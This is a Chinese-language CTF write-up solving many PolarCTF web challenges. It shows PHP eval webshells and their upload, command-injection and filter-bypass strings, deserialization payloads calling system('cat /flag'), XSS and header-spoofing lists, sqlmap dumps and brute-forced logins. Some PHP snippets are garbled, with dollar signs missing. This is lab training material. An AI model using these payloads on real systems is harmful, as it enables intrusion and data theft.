PolarCTF WEB 题解(05)

PolarCTF WEB 题解(05)

坏掉的上传页

300 分 3 Polar币

【2024冬季个人挑战赛】

扫描,得到/config.php

访问,得到

<?php
error_reporting(0);
show_source(__FILE__);
define("DB_FILE", UPLOAD_PATH . "database.db"); 
?>

修改网页:

<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">

木马:

muma.php

GIF89a
<?php @eval($_POST['pass']);?>

该方法不行,没有得到上传成功信息,只能放一放,但看视频讲解是那个方法,这里不灵。

/config.php

/database.db

用脚本直接上传:

import requests

url = "http://8ff5919e-8176-41ee-9eef-c6551949e611.www.polarctf.com:8090/"

muma = {'file':open("D:\\ctf\\usefull\\gifmm.php", "rb")}

response = requests.post(url, files = muma)

if response.status_code == 200:
    print("文件上传成功")
    print("服务器返回的信息: ", response.text)
else:
    print("文件上传失败")
    print("错误码: ", response.status_code)

python upload.py

            <input class="button" type="button" name="submit" value="上传" />
            文件上传成功!已记录到数据库

/database.db

2025-10-02 11:06:15 上传文件路径: ./uploadsabc/file_68de5ca7371884.04971049.php

pass=system(“ls ..”);

pass=system(“cat ../flag*”);

xxmmll

300 分 3 Polar币

【2024冬季个人挑战赛】

dirsearch -u url

3:25] 200 – 469B – /Dockerfile

可能不行,因为已提交,不知道flag不对否,不行用xxm方法去找新flag

Note

300 分 3 Polar币

【2024冬季个人挑战赛】

/debug.log

<?php
class Note{
    private filename;
    privatecontent;
}
note=new Note();reflection=new ReflectionClass(note);filenameProperty = reflection->getProperty("filename");filenameProperty->setAccessible(true);
filenameProperty->setValue(note,'flag.txt');
echo urlencode(serialize($note));
?>

/?data=O%3A4%3A%22Note%22%3A2%3A%7Bs%3A14%3A%22%00Note%00filename%22%3Bs%3A8%3A%22flag.txt%22%3Bs%3A13%3A%22%00Note%00content%22%3BN%3B%7D

赌王

300 分 3 Polar币

【2024冬季个人挑战赛】

burpsuit爆破:

spin=%E6%97%8B%E8%BD%AC
103

你可以去ed3d2c21991e3bef5e069713af9fa6ca这个目录下看看

/ed3d2c21991e3bef5e069713af9fa6ca.php

<script>alert("a")</script>
<script>confirm("a")</script>

e744f91c29ec99f0e662c9177946c627

/e744f91c29ec99f0e662c9177946c627.php

127.0.0.1;ls

只有4个1才能执行

burpsuit安装java版本fakeIp扩展

拦截,请求添加

X-Forwarded-For: 1.1.1.1
X-Forwarded: 1.1.1.1
Forwarded-For: 1.1.1.1
Forwarded: 1.1.1.1
X-Requested-With: 1.1.1.1
X-Forwarded-Proto: 1.1.1.1
X-Forwarded-Host: 1.1.1.1
X-remote-IP: 1.1.1.1
X-remote-addr: 1.1.1.1
True-Client-IP: 1.1.1.1
X-Client-IP: 1.1.1.1
Client-IP: 1.1.1.1
X-Real-IP: 1.1.1.1
Ali-CDN-Real-IP: 1.1.1.1
Cdn-Src-Ip: 1.1.1.1
Cdn-Real-Ip: 1.1.1.1
CF-Connecting-IP: 1.1.1.1
X-Cluster-Client-IP: 1.1.1.1
WL-Proxy-Client-IP: 1.1.1.1
Proxy-Client-IP: 1.1.1.1
Fastly-Client-Ip: 1.1.1.1
True-Client-Ip: 1.1.1.1
X-Originating-IP: 1.1.1.1
X-Host: 1.1.1.1
X-Custom-IP-Authorization: 1.1.1.1

发送

127.0.0.1;ls /

127.0.0.1;cat /flag

ezezser

500 分 5 Polar币

【2024冬季个人挑战赛】

参见后面找到index.php完整编码才能写payload:

<?php
class polar520{
    private polarday='nukakak';
    privatepolarnight='nukaka';
    private polar=false;
    privateclass;
    public function __construct(){
        this->class=new backDoor();
    }   
}    
class backDoor {
    privatekey="system('cat /flag');";
}
a=new polar520();payload = serialize(a);
echo "payload:\n";
echopayload;
echo "\nurlencode payload:\n";
echo urlencode($payload);
?>

output:

payload:
O:8:"polar520":4:{s:18:"polar520polarday";s:7:"nukakak";s:20:"polar520polarnight";s:6:"nukaka";s:15:"polar520polar";b:0;s:15:"polar520class";O:8:"backDoor":1:{s:13:"backDoorkey";s:20:"system('cat /flag');";}}
urlencode payload:
O%3A8%3A%22polar520%22%3A4%3A%7Bs%3A18%3A%22%00polar520%00polarday%22%3Bs%3A7%3A%22nukakak%22%3Bs%3A20%3A%22%00polar520%00polarnight%22%3Bs%3A6%3A%22nukaka%22%3Bs%3A15%3A%22%00polar520%00polar%22%3Bb%3A0%3Bs%3A15%3A%22%00polar520%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A13%3A%22%00backDoor%00key%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D


/?polarday=1&polarnight=2

Cookie=polar520=payload

dirsearch -u url

发现.git

pipx run githacker --url http://e80e25c0-d461-468b-823f-b028bb8bb430.www.polarctf.com:8090/.git/ --output-folder ezezser 

output:

2025-09-29 05:37:29 INFO Check it out: ezezser/92e5ceac55445b52c2d074282b9926b5
2025-09-29 05:37:29 INFO 1 / 1 were exploited successfully
┌──(root㉿kali)-[~/ezezser/92e5ceac55445b52c2d074282b9926b5]
└─# ls -tlr
total 12
-rw-r--r-- 1 root root 357 Sep 29 05:37 index.php
-rw-r--r-- 1 root root  12 Sep 29 05:37 env.php
-rw-r--r-- 1 root root  69 Sep 29 05:37 config.php

#index.php代码不全

#查看历史提交
git log -all

#采用最后一个历史提交
└─# git reset --hard 0c635537b773cdd87268e7dbdc51f985eca0b0b4
HEAD is now at 0c63553 bec54015e611cc32beb1d7674fa7873f

button

100 分 1 Polar币

【2024冬季个人挑战赛】

js代码审计

/proxy.php?file=flag

井字棋

100 分 1 Polar币

【2024冬季个人挑战赛】

js设置断点

故意输,更改一下为对方,则自己赢了,就弹出flag.

clareWinner(gameWon.player === huPlayer ? "您赢了!" : "您输了.");

原来为O,则修改为huPlayer=”X”

简单的导航站

100 分 1 Polar币

【2024冬季个人挑战赛】

php md5()不能处理数组,返回值都一样。

/audit.php?user1[]=1&user2[]=2

首页源码查看:

 <div class="no-select">Admin1234!</div>

用作密码,爆破admin用户名。

P0la2adm1n

上传木马:

/uploads/

用哥斯拉查看文件,发现flag???目录下有flag.txt,但里面有很多flag,登录flag验证界面,再爆破。

任务cmd

500 分 5 Polar币

【2024冬季个人挑战赛】

dirsearch -u url

find dir /new/

url/new/

输出中有X-Power-by username is xiaoming

爆破xiaoming 密码 123123

修改url,横向越权到xiaohei

得到boss密钥 bossisxiaoheizi

dirsearch -u url

得到/login.php

爆破boss密码,flower

题目猜测为cmd参数。

/new/file/upload.php?cmd=cat%20/fla*

坦诚相见

500 分 5 Polar币

【2024冬季个人挑战赛】

┌──(root㉿kali)-[/tmp/aa]
└─# echo "<?php echo 'pass'; @eval(\$_POST['pass']); ?>"|base64 
PD9waHAgZWNobyAncGFzcyc7IEBldmFsKCRfUE9TVFsncGFzcyddKTsgPz4K

rce=echo PD9waHAgZWNobyAncGFzcyc7IEBldmFsKCRfUE9TVFsncGFzcyddKTsgPz4K|base64 -d|tee 1.php

(apache:/) $ sudo cat /flag

flag{07cc6fe29d83a81846969c48cedfe607}

除了上述base64+tee生成木马,还可以删除no.php方式,绕过过滤。

来个弹窗

100 分 1 Polar币

【2025春季个人挑战赛】

"><scrscriptipt>alert(1)</scscriptript>
└─# echo "白金之星"|md5sum                                               5c36b203dca9ceca394697e7ff079cb6  -

linu下需要去掉回车,加-n参数!!!!,加不加引号没有问题。
┌──(root㉿kali)-[/tmp/aa]
└─# echo -n 白金之星|md5sum 
dbd65172f0a14c279bc461cd0185c70a  -

以上kali中md5sum的不行,
<?php
user1="白金之星";
echouser1."-->".md5($user1) . "\n\n";
?>
白金之星-->

flag{dbd65172f0a14c279bc461cd0185c70a}

椰子树晕淡水鱼

500 分 5 Polar币

【2025春季个人挑战赛】

dirsearch -u url

/admin.sh

/about.php

/uploads/

/password 下载到一个加密zip文件,包含password.txt

压缩包密码解压工具ARCHPR ,暴力破解为0606

得到密码,暴力破解登录页面

账号zhsh,密码zhsh920

得到界面: ?page=givemeaimage

Content-Disposition: form-data; name=”file”; filename=”md1.php”

Content-Type: image/png

文件上传成功: uploads/md1.php

pass=system(“ls /”);

复读机RCE

300 分 3 Polar币

【2025春季个人挑战赛】

echo "ls /"|base64 
bHMgLwo=
cmd=echo bHMgLwo=|base64 -d |sh

echo "cat /flag.txt"|base64 
Y2F0IC9mbGFnLnR4dAo=

cmd=echo Y2F0IC9mbGFnLnR4dAo=|base64 -d |sh

xCsMsD

300 分 3 Polar币

【2025年春季个人挑战赛】

xss:

alert(document.cookie)

urldecoe,替代关系: 空格 -> – , / -> \

cmd:

ls-\

cat、less、more等过滤了,用tac输出/flag

tac-\flag

background

100 分 1 Polar币

【2025春季个人挑战赛】

/change_background.php

POST:

d=ls&p=/

d=cat&p=/flag

coke的登陆

300 分 3 Polar币

【2025春季个人挑战赛】

cookie:

my_cookie=coke-lishuai

user: coke

pass: coke-lishuai

再给我30元

500 分 5 Polar币

【2025春季个人挑战赛】

sqlmap -u "url?id=0" -p id --level=5 --risk=3 --random-agent

发现union可用列数为2

sqlmap -u "url?id=0" -p id --level=5 --risk=3 --random-agent --union-col=2

sqlmap -u "url?id=0" -p id --level=5 --risk=3 --random-agent --union-col=2 --technique=U --dbms=mysql --sql-query="UNION SELECT 1,group_concat(schama_name) FROM information_schema.schemata" -dump

狗黑子CTF变强之路

500 分 5 Polar币

【2025春季个人挑战赛】

dirsearch -u url

find : admin.php

/index.php?page=php://filter/convert.base64-encode/resource=admin.php

// 硬编码的用户名和密码
correctUsername = "ggouheizi";correctPassword = "zigouhei";

登录后 进入 gougougou.php

look file source :

/index.php?page=php://filter/convert.base64-encode/resource=gougougou.php

<?php 
gou1="8AZ1mha\vHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";gou2="bgW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09";
gou3="tVXTklXR1prWVhWcCmNVZG5kMDV3ZEVsQ1MybEVjM2hOUlhweFFscHJUM1YzVldGVVMwWllVbVpNWjIxMlkyaGlhWEJaWkU1NVFVZHpTVmRXUlZGdWVHcEVVRzlJVTNSRFRVcHlaV3h0VFRscVYwRm1lSEZ1VkRKVldXcE1TMms1Y1hjeFJFWlpUa2xvWjFsU2MwUm9WVlpDZDBWWVIzWkZOMGhOT0N0UGVEMDk=";gou4=gou1{20}.gou1{41}.gou1{13}.gou1{38}.gou1{6}.gou1{9}.gou1{1}.gou1{25}.gou1{2};gou5=gou2{30}.gou2{27}.gou2{51}.gou2{0}.gou2{44}.gou2{1}.gou2{28}.gou2{30}.gou2{79}.gou2{87}.gou2{61}.gou2{61}.gou2{79};gou6=gou1{34}.gou3{36}.gou1{39}.gou3{41}.gou1{47}.gou3{0}.gou3{20}.gou3{16}.gou3{62}.gou3{62}.gou3{159}.gou3{3}.gou1{37}.gou3{231};
#gou7=Z291MnsxN30uZ291MXs4fS5nb3U0ezR9LmdvdTV7MTJ9KCRnb3U0LiRnb3U1LiRnb3U2KQ==;
# gou2{17}.gou1{8}.gou4{4}.gou5{12}(gou4.gou5.gou6)

echo gou2{17}.gou1{8}.gou4{4}.gou5{12}."\n";
// #gou8=gou2{17}.gou1{8}.gou4{4}.gou5{12}(gou4.gou5.gou6);
//echo gou8
echogou4.gou5.gou6."\n";

?>

output

eHa1
ZDkJaTAGZXZhbCgkX1BTT13bc2atZCddKTw=


eva1:
gou1="8AZ1mha\vHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";gou1="8AZ1mha1vHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";

eva1
PD9waHAgZXZhbCgkX1BTT1RbJ2NtZCddKTs=

└─# echo PD9waHAgZXZhbCgkX1BTT1RbJ2NtZCddKTs=|base64 -d 
<?php eval($_PSOT['cmd']);  

/gougougou.php

http://27f3544b-7436-43cb-9b0e-e3e0a3ee99ae.www.polarctf.com:8090/index.php?page=gougougou.php

POST:

cmd=system(“cat /flag”);

bllbl_rce

300 分 3 Polar币

【2025春季个人挑战赛】

dirsearch -u url

find : /admin/admin.php

download source file:

    if (strpos($command, 'bllbl') === false) {
        die("no");
    }

command=echo bllbl;ls /;

command=echo bllbl;cat /flag;

小白说收集很重要

500 分 5 Polar币

【2025春季个人挑战赛】

dirsearch -u url

/users.json

/flag.php

/login.php

/upload_file.php

xiaobai生成密码字典

用户用常用用户表 admin sysadmin …

爆破登录管理员账号密码

0e事件

100 分 1 Polar币

md5('QNKCDZO') == md5(240610708)

a=QNKCDZO

ez_check

500 分 5 Polar币

2025年夏季个人挑战赛

详解见: https://blog.csdn.net/oyf3085227433/article/details/148503332

相关序列化知识:

大佬讲解jackson反序列化的文章: https://xz.aliyun.com/news/12412

kmp_check kmp顾名思义就是对序列化字符串明文的检查,这个很容易绕,直接utf-8 overlong encoding就行
大佬实现的文章
探索Java反序列化绕WAF新姿势 – 飞书云文档 (feishu.cn)

然后是SafeObjectInputStream,黑名单

private static final Set<String> BLACKLIST = new HashSet(Arrays.asList("org.apache.commons.beanutils.BeanComparator", "javax.management.BadAttributeValueExpException", "org.apache.commons.collections4.map.AbstractHashedMap", "org.springframework.aop.target.HotSwappableTargetSource", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"));

把最后的TemplatesImpl ban了,没有ban经典的signObject,直接打signObject二次反序列化,最常用的触发toString的BadAttributeValueExpException没了,换成EventListenerList即可

需要注意的是,signObject里的序列化数据也要用utf-8 overlong,不只是signObject,在这里卡了好一会,
如何设置呢?看signObject里触发二次反序列化的地方

就可以知道序列化数据是this.content,可以反射赋值,是private的,先setAccesible就行
还有经典的jackson 要用动态代理使链子稳定
关于java反序列化中jackson链子不稳定问题
polar的靶场不出网,打springecho

UTF8OverlongObjectOutputStream

狗黑子的变量

500 分 5 Polar币

2025年夏季个人挑战赛

path 4个字符没有过滤。

扫描,得到 admin.php

echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

l -- {PATH:5:1}
s --{PATH:2:1}
c -- {PATH:7:1}

?gou={PATH:5:1}{PATH:2:1} ../
?gou={PATH:7:1}at ../*a*

狗黑子的隐藏

300 分 3 Polar币

2025年夏季个人挑战赛

cmd=c"a"t *

发表评论